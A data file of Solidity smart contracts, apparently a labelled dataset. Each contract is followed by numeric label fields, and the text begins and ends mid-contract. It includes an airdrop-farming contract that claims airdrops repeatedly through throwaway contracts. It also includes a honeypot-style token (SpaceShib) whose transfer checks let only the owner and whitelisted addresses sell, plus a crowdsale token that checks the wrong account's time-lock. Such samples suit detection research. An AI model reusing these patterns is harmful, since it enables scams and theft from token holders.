require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Migratic";
string public constant TOKEN_SYMBOL = "MIGRATIC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xb65695c2852CfA2FFB1a70B094CB4F0391C3Da01;
uint public constant START_TIME = 1562558400;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,647 |
pragma solidity ^0.4.19;
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnergy is BasicAccessControl {
struct Energy {
uint freeAmount;
uint paidAmount;
uint lastClaim;
}
struct EnergyPackage {
uint ethPrice;
uint emontPrice;
uint energy;
}
mapping(address => Energy) energyData;
mapping(uint => EnergyPackage) paidPackages;
uint public claimMaxAmount = 10;
uint public claimTime = 30 * 60;
uint public claimAmount = 1;
address public paymentContract;
event EventEnergyUpdate(address indexed player, uint freeAmount, uint paidAmount, uint lastClaim);
modifier requirePaymentContract {
require(paymentContract != address(0));
_;
}
function EtheremonEnergy(address _paymentContract) public {
paymentContract = _paymentContract;
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators public {
if (_amount > address(this).balance) {
revert();
}
_sendTo.transfer(_amount);
}
function setPaidPackage(uint _packId, uint _ethPrice, uint _emontPrice, uint _energy) onlyModerators external {
EnergyPackage storage pack = paidPackages[_packId];
pack.ethPrice = _ethPrice;
pack.emontPrice = _emontPrice;
pack.energy = _energy;
}
function setConfig(address _paymentContract, uint _claimMaxAmount, uint _claimTime, uint _claimAmount) onlyModerators external {
paymentContract = _paymentContract;
claimMaxAmount = _claimMaxAmount;
claimTime = _claimTime;
claimAmount = _claimAmount;
}
function topupEnergyByToken(address _player, uint _packId, uint _token) requirePaymentContract external {
if (msg.sender != paymentContract) revert();
EnergyPackage storage pack = paidPackages[_packId];
if (pack.energy == 0 || pack.emontPrice != _token)
revert();
Energy storage energy = energyData[_player];
energy.paidAmount += pack.energy;
EventEnergyUpdate(_player, energy.freeAmount, energy.paidAmount, energy.lastClaim);
}
function safeDeduct(uint _a, uint _b) pure public returns(uint) {
if (_a < _b) return 0;
return (_a - _b);
}
function topupEnergy(uint _packId) isActive payable external {
EnergyPackage storage pack = paidPackages[_packId];
if (pack.energy == 0 || pack.ethPrice != msg.value)
revert();
Energy storage energy = energyData[msg.sender];
energy.paidAmount += pack.energy;
EventEnergyUpdate(msg.sender, energy.freeAmount, energy.paidAmount, energy.lastClaim);
}
function claimEnergy() isActive external {
Energy storage energy = energyData[msg.sender];
uint period = safeDeduct(block.timestamp, energy.lastClaim);
uint energyAmount = (period / claimTime) * claimAmount;
if (energyAmount == 0) revert();
if (energyAmount > claimMaxAmount) energyAmount = claimMaxAmount;
energy.freeAmount += energyAmount;
energy.lastClaim = block.timestamp;
EventEnergyUpdate(msg.sender, energy.freeAmount, energy.paidAmount, energy.lastClaim);
}
function getPlayerEnergy(address _player) constant external returns(uint freeAmount, uint paidAmount, uint lastClaim) {
Energy storage energy = energyData[_player];
return (energy.freeAmount, energy.paidAmount, energy.lastClaim);
}
function getClaimableAmount(address _trainer) constant external returns(uint) {
Energy storage energy = energyData[_trainer];
uint period = safeDeduct(block.timestamp, energy.lastClaim);
uint energyAmount = (period / claimTime) * claimAmount;
if (energyAmount > claimMaxAmount) energyAmount = claimMaxAmount;
return energyAmount;
}
} | 1 | 2,812 |
pragma solidity ^0.4.17;
contract AirDropToken {
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
string _name;
string _symbol;
uint8 _decimals;
uint256 _totalSupply;
bytes32 _rootHash;
mapping (address => uint256) _balances;
mapping (address => mapping(address => uint256)) _allowed;
mapping (uint256 => uint256) _redeemed;
function AirDropToken(string name, string symbol, uint8 decimals, bytes32 rootHash, uint256 premine) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_rootHash = rootHash;
if (premine > 0) {
_balances[msg.sender] = premine;
_totalSupply = premine;
Transfer(0, msg.sender, premine);
}
}
function name() public constant returns (string name) {
return _name;
}
function symbol() public constant returns (string symbol) {
return _symbol;
}
function decimals() public constant returns (uint8 decimals) {
return _decimals;
}
function totalSupply() public constant returns (uint256 totalSupply) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return _balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return _allowed[tokenOwner][spender];
}
function transfer(address to, uint256 amount) public returns (bool success) {
if (_balances[msg.sender] < amount) { return false; }
_balances[msg.sender] -= amount;
_balances[to] += amount;
Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool success) {
if (_allowed[from][msg.sender] < amount || _balances[from] < amount) {
return false;
}
_balances[from] -= amount;
_allowed[from][msg.sender] -= amount;
_balances[to] += amount;
Transfer(from, to, amount);
return true;
}
function approve(address spender, uint256 amount) public returns (bool success) {
_allowed[msg.sender][spender] = amount;
Approval(msg.sender, spender, amount);
return true;
}
function redeemed(uint256 index) public constant returns (bool redeemed) {
uint256 redeemedBlock = _redeemed[index / 256];
uint256 redeemedMask = (uint256(1) << uint256(index % 256));
return ((redeemedBlock & redeemedMask) != 0);
}
function redeemPackage(uint256 index, address recipient, uint256 amount, bytes32[] merkleProof) public {
uint256 redeemedBlock = _redeemed[index / 256];
uint256 redeemedMask = (uint256(1) << uint256(index % 256));
require((redeemedBlock & redeemedMask) == 0);
_redeemed[index / 256] = redeemedBlock | redeemedMask;
bytes32 node = keccak256(index, recipient, amount);
uint256 path = index;
for (uint16 i = 0; i < merkleProof.length; i++) {
if ((path & 0x01) == 1) {
node = keccak256(merkleProof[i], node);
} else {
node = keccak256(node, merkleProof[i]);
}
path /= 2;
}
require(node == _rootHash);
_balances[recipient] += amount;
_totalSupply += amount;
Transfer(0, recipient, amount);
}
} | 1 | 4,812 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
mapping(address => uint256) public steps;
mapping(address => uint256) public starts;
mapping(address => uint256) public durations;
mapping(address => uint256) public amounts;
mapping(address => bool) public locked;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
function transfer(address _to, uint _value) public returns (bool success) {
require(balances[msg.sender] - timeLockedBalanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(balances[msg.sender] - timeLockedBalanceOf(msg.sender) >= _value);
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function timeLockedBalanceOf(address _addr) public constant returns (uint256) {
if (locked[_addr] == false) {
return 0;
}
uint256 _start = starts[_addr];
uint256 _amount = amounts[_addr];
uint256 _duration = durations[_addr];
uint256 _step = steps[_addr];
if (block.timestamp < _start) {
return _amount;
} else if (block.timestamp >= safeAdd(_start, _duration)) {
return 0;
} else {
return safeSub(_amount, safeMul(safeDiv(_amount, safeDiv(_duration, _step)), safeDiv(safeSub(block.timestamp, _start), _step) + 1));
}
}
function setTimeLock(address _to, uint256 step, uint256 start, uint256 duration, uint amount) public onlyOwner {
steps[_to] = step;
starts[_to] = start;
durations[_to] = duration;
amounts[_to] = amount;
locked[_to] = true;
}
} | 1 | 4,925 |
pragma solidity ^0.8.7;
interface ERC20 {
function transfer(address account, uint256 amount) external;
function balanceOf(address account) external returns (uint256);
}
contract SingleClaim {
constructor(address airdropper, string memory method, address token, address account) {
airdropper.call(abi.encodeWithSignature(method));
ERC20(token).transfer(account, ERC20(token).balanceOf(address(this)));
}
}
contract AirdropClaim {
address master = msg.sender;
function airdropMe(uint8 count, address airdropper, string memory method, address token) public {
new SingleClaim(airdropper, method, token, master);
for (uint8 i=0; i<count; i++) {
new SingleClaim(airdropper, method, token, msg.sender);
}
}
} | 0 | 1,338 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SpaceShib {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
